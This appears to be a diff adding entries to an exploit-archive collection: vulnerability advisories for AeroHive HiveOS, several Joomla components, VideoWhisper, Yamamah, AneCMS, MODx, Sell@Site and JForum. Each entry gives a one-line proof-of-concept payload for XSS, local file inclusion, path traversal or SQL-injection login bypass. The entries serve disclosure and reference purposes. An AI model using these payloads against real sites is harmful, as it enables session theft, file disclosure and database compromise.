maybe you can leverage this further). +It's possible earlier version are affected, I was only able to review 5.1r5 briefly, the vendor indicated other version up to 6.1r5 are vulnerable as well. + +Details +================ +AeroHive HiveOS Version: 5.1r5 until 6.1r5 (maybe available in earlier versions, was unable to test) + + +Vulnerability +================ +An attacker could craft an URL in order to steal a session or attack the system of the visitor to the URL. The LFI can be leveraged to view application source code, limited to one specific folder. + + +Proof of concept XSS +==================== +Base: http:///index.php5?ERROR_INFO= +echo -en '">' | base64 +Add the output to the ERROR_INFO variable. + +Example: +http:///index.php5?ERROR_INFO=Ij48c2NyaXB0PmFsZXJ0KERlYXJCeXRlcyk7PC9zY3JpcHQ+ + +Proof of concept LFI +==================== +Base: http:///action.php5?_action=get&_actionType=1&_page= + +Example: +http:///action.php5?_action=get&_actionType=1&_page=php://filter/convert.base64-encode/resource=ManagementAP + + +Fix +================ +The vulnerabilities were resolved in version 6.1r5. + + +Disclosure Timeline +================ + +2014-03-12: Reported to vendor +2014-03-12: Vendor confirmed, gave tracking-id +2014-03-18: Vendor confirms issues, states it received the vulns earlier and is already addressing the issues. +2014-04-02: Requested status update +2014-04-02: Vendor indicates they once the new version is released +2014-07-07: Requested status update +2014-07-07: Vendor indicated the update was previously published diff --git a/platforms/php/webapps/34137.txt b/platforms/php/webapps/34137.txt new file mode 100755 index 000000000..f2b0553be --- /dev/null +++ b/platforms/php/webapps/34137.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/40828/info + +The VideoWhisper 2 Way Video Chat component for Joomla! is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. + +Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/index.php?r=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34138.txt b/platforms/php/webapps/34138.txt new file mode 100755 index 000000000..989b3c4e9 --- /dev/null +++ b/platforms/php/webapps/34138.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/40832/info + +VideoWhisper PHP 2 Way Video Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. + +Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/index.php?r=%22%3E%3E%3Cmarquee%3E%3Ch1%3EXSS3d%20By%20Sid3^effects%3C/h1%3E%3Cmarquee%3E \ No newline at end of file diff --git a/platforms/php/webapps/34139.txt b/platforms/php/webapps/34139.txt new file mode 100755 index 000000000..f96d18573 --- /dev/null +++ b/platforms/php/webapps/34139.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/40834/info + +Yamamah Photo Gallery is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input. + +An attacker can exploit this vulnerability to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. + +Yamamah 1.00 is vulnerable; other versions may also be affected. + +http://www.example.com/themes/default/download.php?dfownload=../../includes/config.inc.php \ No newline at end of file diff --git a/platforms/php/webapps/34140.txt b/platforms/php/webapps/34140.txt new file mode 100755 index 000000000..f91fe04df --- /dev/null +++ b/platforms/php/webapps/34140.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/40838/info + + +AneCMS is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. + +Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. + +AneCMS 1.3 is vulnerable; other versions may also be affected. + +hello \ No newline at end of file diff --git a/platforms/php/webapps/34141.txt b/platforms/php/webapps/34141.txt new file mode 100755 index 000000000..1cc5b5de0 --- /dev/null +++ b/platforms/php/webapps/34141.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/40840/info + +AneCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +AneCMS 1.3 is vulnerable; other versions may also be affected. + +http://www.example.com/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63 \ No newline at end of file diff --git a/platforms/php/webapps/34142.txt b/platforms/php/webapps/34142.txt new file mode 100755 index 000000000..4e89d19cd --- /dev/null +++ b/platforms/php/webapps/34142.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/40841/info + +MODx is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +MODx 1.0.3 is vulnerable; other versions may also be affected. + +http://www.example.com/manager/index.php?id=4%27+ANY_SQL&a=16 +http://www.example.com/manager/index.php?a=106%27+ANY_SQL_HERE \ No newline at end of file diff --git a/platforms/php/webapps/34144.txt b/platforms/php/webapps/34144.txt new file mode 100755 index 000000000..5b8d7b5ea --- /dev/null +++ b/platforms/php/webapps/34144.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/40860/info + +The 'com_easygb' component for Joomla! is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. + +Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +The following example URI is available: + +http://www.example.com/index.php?option=com_easygb&Itemid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34146.txt b/platforms/php/webapps/34146.txt new file mode 100755 index 000000000..cb21c66b1 --- /dev/null +++ b/platforms/php/webapps/34146.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/40869/info + +Sell@Site PHP Online Jobs is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + + +The following example data are available: + +Username: a' or '1'='1 +Password: a' or '1'='1 \ No newline at end of file diff --git a/platforms/php/webapps/34147.txt b/platforms/php/webapps/34147.txt new file mode 100755 index 000000000..872d7d936 --- /dev/null +++ b/platforms/php/webapps/34147.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/40880/info + +JForum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +JForum 2.1.8 is vulnerable; other versions may also be affected. + +http://www.example.com/jforum/jforum.page?action=findUser&module=pm&username=?>